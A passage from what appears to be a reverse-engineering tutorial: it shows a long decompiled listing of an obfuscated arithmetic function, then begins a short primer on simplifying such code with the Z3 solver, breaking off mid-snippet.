  332. int v333; // ebx
  333. int v334; // eax
  334. int v335; // ecx
  335. int v336; // ebx
  336. int v337; // ecx
  337. int v338; // eax
  338. int v339; // ecx
  339. int v340; // ebx
  340. int v341; // ecx
  341. int v342; // eax
  342. int v343; // ecx
  343. int v344; // eax
  344. int v345; // ebx
  345. int v346; // eax
  346. int v347; // eax
  347. int v348; // ecx
  348. int v349; // eax
  349. int v350; // ecx
  350. int v351; // ebx
  351. int v352; // edx
  352. int v353; // eax
  353. int v354; // ecx
  354. int v355; // ebx
  355. int v356; // edx
  356. int v357; // ebx
  357. int v358; // edx
  358. int v359; // eax
  359. int v360; // ebx
  360. int v361; // edx
  361. int v362; // ecx
  362. int v363; // eax
  363. int v364; // ebx
  364. int v365; // ecx
  365. int v366; // ebx
  366. int v367; // ecx
  367. int v368; // ebx
  368. int v369; // ecx
  369. int v370; // edx
  370. int v371; // eax
  371. int v372; // edx
  372. int v373; // ecx
  373. int v374; // eax
  374. int v375; // edx
  375. int v376; // ecx
  376. int v377; // ebx
  377. int v378; // eax
  378. int v379; // edx
  379. int v380; // ebx
  380. int v381; // edx
  381. int v382; // ebx
  382. int v383; // edx
  383. int v384; // eax
  384. int v385; // ebx
  385. int v386; // edx
  386. int v387; // ecx
  387. int v388; // eax
  388. int v389; // edx
  389. int v390; // ecx
  390. int v391; // ebx
  391. int v392; // edx
  392. int v393; // eax
  393. int v394; // ecx
  394. int v395; // ebx
  395. int v396; // edx
  396. int v397; // ecx
  397. int v398; // edx
  398. int v399; // eax
  399. int v400; // ecx
  400. int v401; // eax
  401. int v402; // ebx
  402. int v403; // ecx
  403. int v404; // eax
  404. int v405; // edx
  405. int v406; // ebx
  406. int v407; // eax
  407. int v408; // ecx
  408. int v409; // edx
  409. int v410; // ebx
  410. int v411; // ebx
  411. int v412; // ecx
  412. int v413; // eax
  413. int v414; // ebx
  414. int v415; // ecx
  415. int v416; // edx
  416. int v417; // ecx
  417. int v418; // ebx
  418. int v419; // eax
  419. int v420; // ecx
  420. int v421; // eax
  421.   422. v4 = c2 + c1 - c4 - 2133754790 \+ 1 \+ 2 \* c2 - 1785093898;
  423. v5 = 2 \* \(c4 + 1 \- c3\)
  424. \- c2
  425. \- 1917226979
  426. \- \(c2
  427. \+ c1
  428. \- c4
  429. \- 2133754790
  430. \+ 2 \* c2\)
  431. \+ 2
  432. \- \(c3
  433. \+ 539193617\)
  434. \- v4
  435. \- 350898193;
  436. v6 = c3 + 539193617 \- v5 - 879839410;
  437. v5 += 2;
  438. v6 += 3;
  439. v4 += 2109602273;
  440. v7 = 2 \* \(2 \* \(c2 + c1 - c4 - 2133754790 \+ 3 \- \(c3 + 539193617\) \- 1164434189 \- v5 - v6\) \+ 1\);
  441. v8 = 2 \* v6 - 1873426435 \- v7;
  442. v9 = v7 - v4 + 1;
  443. v10 = v4 - 971527202 \+ 730640080;
  444. v11 = v5 + 1150557381 \- v10 - 1412696239 \+ 1;
  445. v12 = v11 + v8 - 396431529 \+ 1;
  446. v13 = v9 + 2 \- v12 + 1;
  447. v14 = v12 + v11 + 1;
  448. v15 = v10 + 204474460 \- v13 - 1432203755;
  449. v16 = v14 + v13 + 884313224 \+ 813147417;
  450. v17 = v15 + v14 + 2;
  451. v18 = v15 + v12 - 451236562 \+ 3;
  452. v19 = v16 + v15 + 1;
  453. v17 += 138511611;
  454. v16 += 953411192;
  455. v20 = v16 + v18;
  456. v21 = v17 + 2 \* \(v19 + 1\) \+ 119463169;
  457. v17 -= 738693819;
  458. v22 = v16 + 594867870 \- v17 + 1413353867;
  459. v23 = v17 - v22;
  460. v22 += 520753425;
  461. v24 = v22 + v21 + 144745048;
  462. v25 = v24++ + v22 - 1828520841 \+ 1;
  463. v26 = v20 + 3 \- v24;
  464. v27 = v24 - v26;
  465. v28 = v27 + v26 + 763465995;
  466. v29 = 2 \* \(v27 + 2\);
  467. v30 = v29 + v25 + 1017115747;
  468. v31 = v23 - 879256061 \+ 1336943267 \- v30;
  469. v32 = v30 + v30 + v28 + 1689547303 \- 1018772533 \+ 1;
  470. v33 = v30 - v31 + 1;
  471. v34 = v31 + v29 - v33 + 909973850;
  472. v35 = v34 + v32 + 228062414;
  473. v36 = v35 + v31 + 347278668;
  474. v35 -= 720946967;
  475. v37 = 2 \* \(v34 + 1 \- v35\);
  476. v38 = v37 + v35 + 1;
  477. v37 += 1888994439;
  478. v39 = 2 \* \(v33 + 579771010\) \+ 2103615418;
  479. v40 = v36 - 276265002 \- v37 + 1864035437;
  480. v41 = v38 + 1 \- v39;
  481. v37 += 1786144130;
  482. v42 = v39 + 1600574700 \- v37;
  483. v43 = v37 - v40;
  484. v44 = v43 + v40 - v41 + 2105473564;
  485. v41 \*= 2;
  486. v45 = 2 \* \(v44 - v41\);
  487. v46 = v43 - 1150894576 \+ 3;
  488. v47 = v45 + v41 + 313221810 \- v46 + 807301504;
  489. v48 = v42 - 124125674 \+ 1 \- v46 + 1 \- v46 + 1;
  490. v49 = v48 + v46;
  491. v50 = v49 + v45 - 468305613 \+ 3 \- 2100928955;
  492. v51 = 2 \* \(v48 - v49 - ++v47\) \+ 1;
  493. v52 = v49 + 1 \- v47++ + 3;
  494. v53 = v52 + v50;
  495. v54 = v51 - v53;
  496. v55 = v52 - v47 + 1;
  497. v53 -= 446157988;
  498. v54 += 1553282976;
  499. v56 = v54 + v53 + v47 + 1;
  500. v53 \*= 2;
  501. v57 = v53 + v56 - 1230516346 \+ 1 \+ 1205548791;
  502. v58 = v54 - v53 + 2128637547;
  503. v59 = v58 + v55 + 1;
  504. v60 = v58 - v57;
  505. v57 += 377513439;
  506. v61 = v53 - 799999952 \- v57;
  507. v62 = v61 + v60 + 1;
  508. v63 = v61 - v57;
  509. v59 += 848132728;
  510. v64 = v57 - v63 - v59;
  511. v65 = v59 + v62 - 2142680737 \+ 1764150285;
  512. v63 += 2087876122;
  513. v66 = v59 + 1814013069 \- v63 - v64;
  514. v67 = 2 \* v64 - v65 + 1132472947;
  515. v68 = v63 - 788948114 \+ 1 \- v67;
  516. v69 = v68 + v68 + v66 + 1553607352;
  517. v67 += 2;
  518. v70 = v69 + 2 \* v68 + 1518868433;
  519. v71 = v67 + v67 + v69 - v70;
  520. v72 = v70 + v67;
  521. v70 += 713535814;
  522. v73 = 2 \* v65 + 1429126951 \- v70;
  523. v70 -= 173942082;
  524. v74 = v70 + v72 - 1888550847 \+ 1 \- 394102299;
  525. v75 = v71 + 256237465 \- v74;
  526. v76 = v75 + v70 + 1;
  527. v77 = v75 - v74++;
  528. v76 += 2140073780;
  529. v78 = 2 \* \(v77 - 1454905092\) \- 1933992509;
  530. v79 = v76 + 2 \* \(v73 + 1866717529\) \- v74 - 1310766122 \- v78;
  531. v80 = v76 - v74;
  532. v81 = v80 + v74;
  533. v82 = v79 + v80;
  534. ++v81;
  535. v83 = v82 + v79 + 1;
  536. v78 += 1083862846;
  537. v84 = v82 + 1 \- v81 - v78;
  538. v85 = v81 + v78;
  539. v81 -= 614253581;
  540. v86 = v85 + v84 - 515607244 \+ 238772881;
  541. v87 = v83 + 141351837 \- v81 + 1;
  542. v88 = v86++ + v85 - 543286513 \+ 1674408964 \- 794464384;
  543. v89 = v81 - 623767744 \+ 215241888;
  544. v90 = 2 \* \(v89++ + v87 + 1710998538\);
  545. v91 = v86 + v86 + v88 + 1 \+ 1 \- v89++;
  546. v92 = v89 + v86;
  547. v90 -= 885178085;
  548. v91 += 1677704898;
  549. v93 = v90++ + v89 - 940635716;
  550. v94 = v92 + 1 \- v90;
  551. v95 = v91 + v90 + 1 \+ 1841924206;
  552. v96 = v91 + v93 + 941760921;
  553. v91 += 2;
  554. v97 = v96 + 1 \- v91 + 1530834091;
  555. v98 = v94 - v97 + 1;
  556. v99 = v95 + v97 + 1699993484;
  557. v100 = v98 + v95 + 1;
  558. v101 = v98 + v91 - 523060265 \+ 1789589531;
  559. v102 = v98 + 1281582157 \- v100;
  560. v100 += 146514254;
  561. v103 = v101 - v99 - v100++;
  562. v99 += 2080302551;
  563. v104 = 2 \* \(v99 + v103 + 1512882559 \+ 1\);
  564. v105 = v99 - v100;
  565. v104 -= 784717007;
  566. v106 = v104++ + v100 - 1584810020 \+ 2;
  567. v107 = v104 + v105 + 1;
  568. v106 += 1065502423;
  569. v102 += 3;
  570. v108 = v102 + v104 - v107 - v106 + 342809982;
  571. v107 -= 1412780444;
  572. v109 = v108 + v106 + 1 \- 858330204;
  573. v110 = v109 + v108;
  574. v102 -= 664953144;
  575. v111 = v109 - 1329716196 \- v102;
  576. v112 = v102 - v107;
  577. v111 += 1373514701;
  578. v113 = v107 - 1346592359 \+ 216683527 \- v111;
  579. v114 = v111 + v110 - 288276575 \+ 1500011784;
  580. v115 = v113 + v111;
  581. v116 = v115++ + v114;
  582. v117 = 2 \* \(v113 - 1163128426\);
  583. v118 = v117 + v112 - 818961183 \- v115 - 593940334;
  584. v119 = v118 + v115 + 2;
  585. v118 += 428412235;
  586. v120 = v117 + 3 \- v118;
  587. v121 = v116 + 4 \- v118 + 1;
  588. v118 += 894601604;
  589. v122 = v118 + v121;
  590. v123 = v122 + v119 + 1 \+ 443477999;
  591. v124 = v123 + v122;
  592. v125 = 2 \* v118 - v123;
  593. v126 = v124 + v123 - 2061231162;
  594. v127 = v124 - v125;
  595. v128 = v126 + v120 + 1485909680 \+ 1483310720;
  596. v129 = v128 + v127 + v125 - 1355157173 \+ 1;
  597. v130 = v128 + v127;
  598. v128 += 2;
  599. v131 = v129 - v128;
  600. v130 += 1683851829;
  601. v132 = v128 - v131 - 354913611;
  602. v133 = v131 - v132;
  603. v132 -= 198220312;
  604. v134 = v133 + 172443045 \- v132;
  605. v135 = v126 + 3 \- v132 - v134;
  606. v136 = v130 + 2 \* \(v132 - v134\) \- v135 + 471821392;
  607. v137 = v130++ + v134 - v136;
  608. v136 += 923861112;
  609. v138 = v130 + 2 \* \(v137 + 1\) \+ 1 \- 1146928935 \+ 1 \- v136;
  610. v139 = v138 + 2 \* v130 + 1;
  611. v140 = v136 - 1156737329 \- v138 + 2 \- v138 - v139;
  612. v141 = v140 + v138 + 1;
  613. v142 = v135 - 608570200 \+ 1 \- v141 + 1;
  614. v139 += 2;
  615. v143 = v140 - 1777203220 \+ 1;
  616. v144 = v139 + v141 - v142 - 440487739 \+ 182778494 \- v143;
  617. v145 = v139 + 966597185 \- v144;
  618. v142 += 967980219;
  619. v146 = v144 - 1652140998 \+ 1;
  620. v147 = v142 + v145 - 1363945608 \+ 1 \- v146;
  621. v148 = v143 - v146 + 1350186086;
  622. v149 = 2 \* \(v148 + 2 \* v142\);
  623. v150 = v146 + 1 \- v147 - 457990213;
  624. v151 = v148 + 1 \- v150;
  625. v152 = v150 - 504705392 \+ 1;
  626. v153 = v147 + 1193758906 \- v152;
  627. v154 = v149 + 1 \- v152 + 144039938 \- v153;
  628. v155 = v154 + v153;
  629. v154 += 2;
  630. v156 = v152 + 2078215581 \- v154 + 1;
  631. v157 = v156 + v155 - 122946150 \+ 301662336;
  632. v158 = v156 - v157;
  633. v154 += 2;
  634. v159 = v157++ + v158 + v151 - 958001904 \+ 1284137460 \+ 1;
  635. v160 = v154 + v158 + 1002156873 \- v157 + 170108160;
  636. v161 = v154 - 1014383826 \+ 161227700;
  637. v162 = v159 - v161;
  638. v163 = v160 - 255510393 \+ 376777367;
  639. v164 = v157 - v162 + 2;
  640. v165 = v163 + v161 - 1912551381 \+ 1;
  641. v166 = v165 + v162 - v163 + 1 \+ 1;
  642. v167 = v166 + v165 + 1;
  643. v168 = v163 + v164 + 201934410 \+ 968132783;
  644. v169 = v163 - v168++;
  645. v170 = v166 - v167;
  646. v171 = v168 + v167;
  647. v172 = v170 - v168;
  648. v168 += 2029379458;
  649. v173 = v168 + v169 - 1763166604 \+ 1 \+ 1;
  650. v171 -= 1188417209;
  651. v174 = v172 + 1 \- v173 + 1;
  652. v175 = v174 + v168 + 2140747580 \- v171 + 668304081;
  653. v176 = v173 - 26185106 \+ 474549714 \- v174++;
  654. v177 = v176 - v174;
  655. v178 = v175 + v171 + 1;
  656. v179 = v178 + v175;
  657. v180 = v178 + v177 + v174 + 1 \+ 2141394379;
  658. v181 = v178 - 826788372 \+ 3;
  659. v182 = v181 + v179 + 1;
  660. v177 += 741838009;
  661. v183 = v177 + v181;
  662. v177 \*= 2;
  663. v184 = v183 - 238554347 \- v177 + 932383584;
  664. v185 = v184 + v177 + 2100277479;
  665. v186 = v185 + v180 + 54142085 \- v182 - 1632592373;
  666. v187 = v185 - v184 + 579181258;
  667. v188 = 2 \* \(v182 + 1383200762\) \+ 1;
  668. v189 = v187 + v188 + v186 - v184 + 1 \+ 1172965920 \+ 1;
  669. v190 = v187 - 101123714 \- v189 + 1 \- v189 - 96237627;
  670. v188 += 2;
  671. v191 = 2 \* \(v189 + v184 - 207227160 \+ 4\) \+ 1;
  672. v192 = v191 + v189 - v188;
  673. v190 += 4;
  674. v193 = v191 - 1353895842 \+ 1;
  675. v194 = v190 + v188 + 2123750079 \- v193;
  676. v190 += 1696689707;
  677. v195 = 2 \* \(v192 + 1 \- v190\);
  678. v196 = v194 + 1 \- v195 - 78101511;
  679. v190 += 540662868;
  680. v197 = v190 + v195 - 1145799797 \- v196;
  681. v198 = 2 \* \(v193 - 185780694\) \+ 1;
  682. v199 = v198 + v196;
  683. v190 += 1255424563;
  684. v200 = 2 \* \(v199 + v198\) \- 1727929676;
  685. v199 += 2;
  686. v201 = v190 + v199 + v197;
  687. v202 = v190 - 1214148504 \+ 1;
  688. v199 += 401187067;
  689. v203 = v200 - 1564098266 \+ 917389966 \- v202 - 1198776331 \+ 1 \- v199;
  690. v204 = v201 + v202 + 2 \- v203;
  691. v205 = v203 - 318781264 \- v199 - 1605668317 \+ 2;
  692. v206 = 2 \* \(v201 + 1844554225\) \- 1604774369;
  693. v207 = 2 \* \(v205 + v199 + 790825996 \- v206\) \+ 1650229900;
  694. v208 = v204 - 490598907 \+ 1;
  695. v206 += 282040833;
  696. v209 = v206 + v205 - 2006766853 \- v208;
  697. v206 += 2;
  698. v210 = v207 + 1511399432 \- v208 - 1551102207;
  699. v211 = v206 + v206 + v209 - v210 - v208;
  700. v206 += 1215172648;
  701. v210 -= 959608047;
  702. v212 = v211 + 1 \- v206;
  703. v213 = v206 - v212 - v210;
  704. v214 = v212 + v208 + 1869175045 \- v213 - 1424027273;
  705. v215 = v210 + 1620160695 \- v214;
  706. v216 = v214 + v214 + v213 - v215 - 1065981445;
  707. v217 = 2 \* \(v215 - 1244977230\) \+ 1747029779;
  708. v216 -= 1257866941;
  709. v218 = v214 + 2143814783 \- v216 - 1398907650;
  710. v219 = 2 \* v212 + 2 \- v217++;
  711. v220 = v219 + v216 + 1 \- v218 + 1 \- v217 - v217;
  712. v221 = v219 - v217++;
  713. v222 = v218 - 1855122676 \+ 1;
  714. v223 = v222 + v221 + 2;
  715. v224 = v223 + v217 + v220 - 1317237096;
  716. v217 += 2;
  717. v225 = v222 + v224;
  718. v226 = v222 - v225 - 777710099;
  719. v227 = v223 - 730911683 \- v226;
  720. v228 = v227 + v226 + 1;
  721. v229 = v217 + v227 + v225 - 1217941265;
  722. v230 = v217 - v228;
  723. v231 = v230 + v228 + v227 - 1682643877;
  724. v228 += 2;
  725. v232 = v230 + v229 + 1938596261 \+ 1 \- v228;
  726. v228 += 584042825;
  727. v233 = v230 - 2139100084 \+ 2;
  728. v234 = v233 + v232 + 1;
  729. v235 = 2 \* \(v228 + v233\) \+ 1;
  730. v228 += 1437309881;
  731. v236 = v228 + v234 + v235 + 1 \+ 1;
  732. v228 -= 716828805;
  733. v237 = 2 \* \(v234 + 1 \- v228\) \- 685322476;
  734. v238 = v236 + v231 - 1381742058 \+ 1995963757 \+ 2;
  735. v239 = v228 - 1516409973 \+ 1147924830;
  736. v240 = v236 + 1 \- v238 - v239 - 2104005844;
  737. v241 = v239 + 1 \- v240;
  738. v238 -= 759057394;
  739. v242 = v240 - v238;
  740. v238 -= 623914540;
  741. v243 = v241 - v238;
  742. v244 = v238 - v243;
  743. v243 += 237287396;
  744. v245 = v243 + 2 \* \(v237 + 1002096745\) \- 2048248416 \+ 1892930438;
  745. v246 = 2 \* v244 + 1294486749;
  746. v247 = v242 + 1612687194 \- v243 - 660996117 \- v246;
  747. v248 = v247 + v246 + 720558110;
  748. v247 += 977714025;
  749. v248 -= 1491378659;
  750. v249 = v243 + 1945659396 \- v247;
  751. v250 = v245 + 1 \- v248;
  752. v251 = v249 + v248 + 1185773403;
  753. v252 = v250 - v249 + 1;
  754. v253 = v251 + v249 + 401286047;
  755. v254 = v252 - 998849865 \+ 1;
  756. v255 = 2 \* v247 + 754645442 \- v254;
  757. v256 = v251 - 1424315697 \+ 2 \- v255;
  758. v257 = v255 - v256;
  759. v256 -= 1309666088;
  760. v258 = v256 + v254 - v253;
  761. v259 = v256 + 1 \- v253 - 2033562943;
  762. v260 = v257 + 1650643934 \- v259 - 1415290431;
  763. v261 = v260++ + v253 + 524627955;
  764. v262 = v260 + v258 + 2013559893;
  765. v260 -= 824578413;
  766. v261 -= 446217575;
  767. v263 = v262 + 508608480 \- v261 + 1345436449;
  768. v264 = v259 + 1403184861 \- v260 + 1284484219;
  769. v265 = v263 + v260;
  770. v263 -= 242016614;
  771. v266 = v264 + 1347235185 \- v263;
  772. v267 = v266 + v263 + 1 \+ 787180614;
  773. v266 += 606099305;
  774. v268 = 2 \* \(v261 + 520953472\) \+ 165941725;
  775. v269 = v268 + v265 - 1534490202 \- v266 + 1;
  776. v267 += 2120509468;
  777. v270 = v266 + 689980400 \- v269 - 2044475833 \- v269;
  778. v269 -= 1625687532;
  779. v271 = v268 + 1 \- v269 + 1;
  780. v272 = v270 + v269 + 1252726713;
  781. v273 = v270 - v267 + 1;
  782. v274 = 2 \* v267 - v271 + 1;
  783. v272 += 531933468;
  784. v275 = v271 - v274 - v274 + 2039136993;
  785. v276 = v274 - v272;
  786. v277 = v273 - 1600087378 \+ 1;
  787. v278 = v275 + 2 \* \(v272 + 1\);
  788. v279 = v276 + 2 \- v278;
  789. v280 = v277 + v278;
  790. ++v275;
  791. v281 = v277 - 1762733020 \- v279 + 1;
  792. v280 += 1278825738;
  793. v282 = v279 + 147538177 \- v275;
  794. v283 = v275 - v281;
  795. v284 = v281 + 693844065 \- v280;
  796. v285 = v280 - ++v282;
  797. v286 = v282 + v283 + 1 \- v284;
  798. v287 = v284 - v285 - 74089317;
  799. v288 = v282 - v287 - v286 - 681820438;
  800. v289 = v287 - 1256120859 \+ 149723392 \- v288;
  801. v290 = v286 - 1421591606 \- v289 + 2;
  802. v285 += 1989232579;
  803. v291 = v289 + 1 \- v290;
  804. v292 = 2 \* \(v288 - 685621057\) \+ 1;
  805. v293 = v290 - v291 - v285;
  806. v294 = v285 - v292;
  807. v295 = v291 - 1661767175 \+ 42969351;
  808. v296 = v294 + v294 + v293 - 1972384502 \+ 2 \- 1576459347 \+ 1;
  809. v297 = v295 + v292 - 396668767 \- 1534437557;
  810. v298 = v296 + v294 - 1645192742 \- v295 - 1479631423 \+ 2 \- 331301694;
  811. v299 = v296 - 106622097 \+ 668588646;
  812. v300 = 2 \* \(v299 + v297 + v295 + 1 \+ 2\) \- 1263581112;
  813. v297 += 1979779660;
  814. v301 = v297 + v300 + v299 + 1343345468 \+ 481569519;
  815. v298 += 861842343;
  816. v302 = v298 + v300 - 1650922112 \+ 1803040625 \- 1103549091 \+ 1;
  817. v303 = v298 + v301 - 263499248;
  818. v304 = v303 + v298;
  819. v305 = v304++ + v302 - 438171503;
  820. v306 = v297 - 2076009387 \+ 1524090740 \- v304 + 1;
  821. v304 += 575953311;
  822. v307 = v305 + 1306759242 \- v306;
  823. v308 = v303 - 429496975 \+ 1812284714 \- v307++;
  824. v309 = 2 \* \(v306 + 1523384106\) \- 1468869015;
  825. v310 = v304 + v308 + 1260443893 \- v309;
  826. v311 = v309 - 1158775838 \- v307++;
  827. v312 = 2 \* v310 - 441360349;
  828. v313 = v311 - v312;
  829. v314 = v313++ + v307 + v304 - 1384238736;
  830. v315 = 2 \* v307 - v313 + 496097820;
  831. v316 = v315 + v314 + 2 \+ 1;
  832. v315 += 3;
  833. v317 = 2 \* \(2 \* v312 + 3 \- v316 + 2070720611\) \- 1285251516 \+ 88029981;
  834. v318 = v315 + v313 - 1389710860;
  835. v319 = v315 - v318;
  836. v320 = v319 + v319 + v316 - 589472948 \+ 1;
  837. ++v319;
  838. v321 = 2 \* v317 + 942166371;
  839. v322 = v320 + v318 - 344804349 \+ 849785358;
  840. v323 = v320 - v321;
  841. v322 += 53013894;
  842. v324 = v321 - v319;
  843. v325 = v322 + v323 + 1;
  844. v326 = 4 \* \(v325 + v319 - v322 - 2049097191 \+ 1\);
  845. v322 -= 1029516387;
  846. v327 = v325 + 473722879 \- v322;
  847. v326 -= 1652737171;
  848. v328 = v324 + 1 \- v326;
  849. v329 = v326 - v327;
  850. v322 += 1088562794;
  851. v327 += 78577575;
  852. v330 = v329 - v322 - v327 + 132302044;
  853. v328 -= 771106090;
  854. v322 += 2;
  855. v331 = v330 + 1 \- v328;
  856. v332 = v327 - v331;
  857. v333 = v332 + v328;
  858. v332 += 1152138250;
  859. v334 = v322 + v331 - 1557943841 \+ 1;
  860. v335 = v332 + v322 - v334;
  861. v336 = v333 + 1293271530 \- v332 - v335;
  862. v334 += 245975965;
  863. v337 = v334 + v335 + 2098061773;
  864. v332 += 1210065134;
  865. v338 = v334 - v336 + 1;
  866. v339 = v337 + 1 \- v332 + 1042845593;
  867. v332 += 1017773432;
  868. v340 = v336 - v338 + 544855734;
  869. v341 = v340 + 2 \* v339 + 1636319835;
  870. v340 -= 2122376282;
  871. v342 = v332 + v332 + v338 - 213405862;
  872. v332 += 1914409404;
  873. v343 = 2 \* \(v341 + 1\) \- v340 + 1026384791;
  874. v344 = v332 + v342 - 207594250 \+ 1367733505 \- v340;
  875. v345 = v340 - v343++ + 1434173388;
  876. v346 = v344 - 1373169356 \- v332++;
  877. v347 = v332 + v346 - 1698350246 \+ 807585909 \- v343 - 1616726979;
  878. v348 = v343 - v332;
  879. v349 = v348 + v347;
  880. v350 = v349++ + v348 + 1;
  881. v351 = 2 \* \(v345 - 28630427 \+ 560310549 \- v350 + 1\) \+ 1587875006 \- v349 - 258344410;
  882. v352 = v332 - 390257379 \+ 1 \- v349;
  883. v353 = v352 + v349;
  884. v354 = v352++ + v350 + 4;
  885. v355 = v351 + 1 \- v352;
  886. v354 -= 1828963202;
  887. v356 = v354 + 2 \* v352 + 1;
  888. v357 = v356 + v355 - 1265518153 \+ 1354618067;
  889. v358 = v354 + v356 - v357;
  890. v354 += 24457593;
  891. v358 += 2081985567;
  892. v359 = v354 + v353 + 1624829730 \+ 1;
  893. v360 = 2 \* \(v358 + v357 - 1949374989\) \+ 781522725;
  894. v361 = ++v354 + v358;
  895. v362 = v354 + 1493767541 \- v359;
  896. v361 += 4;
  897. v363 = 2 \* v359 - v361 - 1727523967;
  898. v364 = v362 + v361 + v360 + 218569202 \- v363 + 449916241;
  899. v363 += 327109260;
  900. v365 = v362 + 1549803007 \- v363 + 957128236;
  901. v363 += 916862246;
  902. v366 = 2 \* \(v364 + 414246669\) \+ 2040411505;
  903. v367 = v365 + 536918145 \- v366;
  904. v368 = v366 - v367 + 1;
  905. v369 = 2 \* \(v367 - 129161079 \- v363 + 1\) \- 1900300983;
  906. v370 = 2 \* \(v361 - 798140456\) \+ 4;
  907. v371 = v370 + v363 - 665700202 \+ 2;
  908. v369 += 30341174;
  909. v372 = v370 + 1 \- v369 - 1952101394;
  910. v373 = v372 + v369 - v371;
  911. v374 = v373 + v371;
  912. v375 = 2 \* \(v374 + v372 + 1 \- 1317292497\);
  913. v376 = v373 - 2112199059 \+ 419983391;
  914. v377 = v376 + 2 \* \(v368 - 1343830370 \+ 442537035\) \- 1033591519 \+ 1879391070 \- v375 - 2060553041 \+ 1;
  915. v378 = v375 + v375 + v374 + 738693954 \+ 1 \- v377;
  916. v379 = v375 + 1 \- v377;
  917. v380 = v377 - 1930629742 \- v379 - 1928040188 \+ 1102478597;
  918. v381 = v380 + 2 \* v379 + 1 \- 448866693;
  919. v376 -= 2055000006;
  920. v382 = 2 \* \(2 \* \(v380 + 604066061\) \+ 2\);
  921. v383 = v382 + v376 + v381 - 1881910858;
  922. v384 = v378 - 947925440 \+ 2;
  923. v385 = v384 + v383 + v382 + 842529404 \+ 1;
  924. v376 -= 168380786;
  925. ++v384;
  926. v386 = v376 + v383 + 1;
  927. v387 = v376 - v384 + 1919090703;
  928. v388 = 2 \* \(v384 + 1 \- v386 + 1\) \- 376075359 \- v387;
  929. v389 = v388 + v386 - 1078951762;
  930. v388 += 4;
  931. v390 = v388 + v387 + 1;
  932. v388 += 1398399335;
  933. v391 = v390 + v385 - 1475310267 \- v389 + 1 \+ 9540715;
  934. v392 = v389 - 1641637778 \+ 2 \- v388 + 2;
  935. v393 = v388 - 1972219276 \+ 1;
  936. v392 -= 866747255;
  937. v394 = v392 + v390 - 1373171668 \+ 1586106979;
  938. v395 = v393 + v391 - 931348898;
  939. v396 = v394 + v392 - 1900058436 \- v395;
  940. v397 = 2 \* v394 + 1334476417;
  941. v398 = v396 - 467332541 \+ 1817029648;
  942. v399 = 2 \* \(v393 + 808026034\) \- 1047285892 \+ 609483421 \- v397;
  943. v395 += 1953163588;
  944. v400 = v397 - 292607806 \- v399 - 42192282 \- v395 + 1;
  945. v401 = v399 + 1 \- v398 + 1;
  946. v402 = v395 + 1 \- v401;
  947. v403 = v400 - v402;
  948. v404 = v401 + 1 \- v403 + 1872425146;
  949. v405 = v398 - 195196821 \+ 377105645 \- v404 - v404;
  950. v406 = v402 - v404;
  951. v407 = v404 - 1842186611 \+ 547686199;
  952. v408 = v407 + v403 + 1374530959 \- v405 + 1 \- 184314042;
  953. v409 = v405 - 1871472347 \+ 1;
  954. v410 = v409 + v406;
  955. v409 += 2027045620;
  956. v411 = v409 + v410 - 855357098 \+ 1 \- 2037318886;
  957. v412 = v411 + v408 + 1324830997 \- v409 + 1863672173;
  958. v413 = 2 \* \(v407 - 1311778367\) \+ 1;
  959. v414 = v413 + v411;
  960. v409 += 638982232;
  961. v415 = v412 - 1420319999 \- v409 + 1706741566;
  962. v413 += 2;
  963. v416 = v409 + 600153250 \- v415 - 1749613292 \+ 1;
  964. v417 = v415 - v413;
  965. v418 = v414 - 103143630 \+ 151909657 \- v416 + 1;
  966. v419 = 2 \* v413 - v416++;
  967. v420 = v417 + 1 \- ++v419;
  968. v421 = v418 - v416 - v416 + v419;
  969. v420 -= 1385665685;
  970. return v420
  971. \+ v421
  972. \+ 1
  973. \+ 640484926
  974. \+ 2 \* \(v421 + v416 + 1815285368\)
  975. \+ v420
  976. \+ v421
  977. \+ 1
  978. \+ 640484926
  979. \+ v420
  980. \+ v421
  981. \+ 1
  982. \+ v420
  983. \+ v421
  984. \+ 1
  985. \+ v420
  986. \- 1389466703
  987. \+ 495424244
  988. \+ 2 \* \(v420 + v421 + 1 \+ 640484926\);
  989. \}

As you can see, Hex-Rays was not helpful in that case. Since IDA and Hex-Rays
are highly programmable, one can actually improve the output of the Hex-Rays
decompiler and teach it to simplify those expressions \(a topic for another
time\).

So as you can see, unless we approach this function as a blackbox algorithm,
we have no real understanding of its operation yet. We are going to use Z3 and
see if it can simplify all of those instructions into something approachable.

# Quick Z3 Primer

Dennis and Eric did a good job introducing Z3, therefore I will keep my primer
very short.

Imagine the following assembly listing:

  * .text:0040EF04 mov eax, \[ebp+c1\]
  * .text:0040EF07 mov edx, \[ebp+c2\]
  * .text:0040EF0A mov ecx, \[ebp+c3\]
  * .text:0040EF0D mov ebx, \[ebp+c4\]
  * .text:0040EF10 inc eax
  * .text:0040EF11 inc ebx
  * .text:0040EF12 inc edx
  * .text:0040EF13 inc ecx
  * .text:0040EF14 add ebx, edx
  * .text:0040EF16 add ecx, 123h
  * .text:0040EF1C add eax, ebx
  * .text:0040EF1E add ebx, 456h
  * .text:0040EF24 add edx, eax
  * .text:0040EF26 add ecx, eax
  * .text:0040EF28 add edx, ebx
  * .text:0040EF2A sub eax, 12312312h
  * .text:0040EF2F add ecx, eax
  * .text:0040EF31 add eax, ebx
  * .text:0040EF33 add eax, ecx
  * .text:0040EF35 add eax, edx
  * .text:0040EF37 mov \[ebp+result\], eax

From 0x040EF04 to 0x040EF0D, we see that _eax_ ==c1, _edx_ ==c2, _ecx_ ==c3,
_ebx_ ==c4 \(4 input arguments\). From 0x040EF10 to 0x040EF35, we see some
operations taking place and the result is copied to _eax_ at 0x040EF37.

Mathematically speaking, we can translate the above listing into a series of
expressions:

  * .text:0040EF10 eax = eax + 1
  * .text:0040EF11 ebx = ebx + 1
  * .text:0040EF12 edx = edx + 1
  * .text:0040EF13 ecx = ecx + 1
  * .text:0040EF14 ebx = ebx + edx
  * .text:0040EF16 ecx = ecx + 0x123
  * .text:0040EF1C eax = eax + ebx
  * .text:0040EF1E ebx = ebx + 0x456
  * .text:0040EF24 edx = edx + eax
  * .text:0040EF26 ecx = ecx + eax
  * .text:0040EF28 edx = edx + ebx
  * .text:0040EF2A eax = eax - 0x12312312
  * .text:0040EF2F ecx = ecx + eax
  * .text:0040EF31 eax = eax + ebx
  * .text:0040EF33 eax = eax + ecx
  * .text:0040EF35 eax = eax + edx

Let’s now give those expressions to Z3 \(note that Z3 overloads the arithmetic
operators\):

  * import z3
  *   * c1, c2, c3, c4 = z3.BitVecs\('c1 c2 c3 c4', 32\)
  *   * eax, edx, ecx, ebx = c1, c2, c3, c4
  *   * eax = eax + 1
  * ebx = ebx + 1
  * edx = edx + 1
  * ecx = ecx + 1
  * ebx = ebx + edx
  * ecx = ecx + 0x123
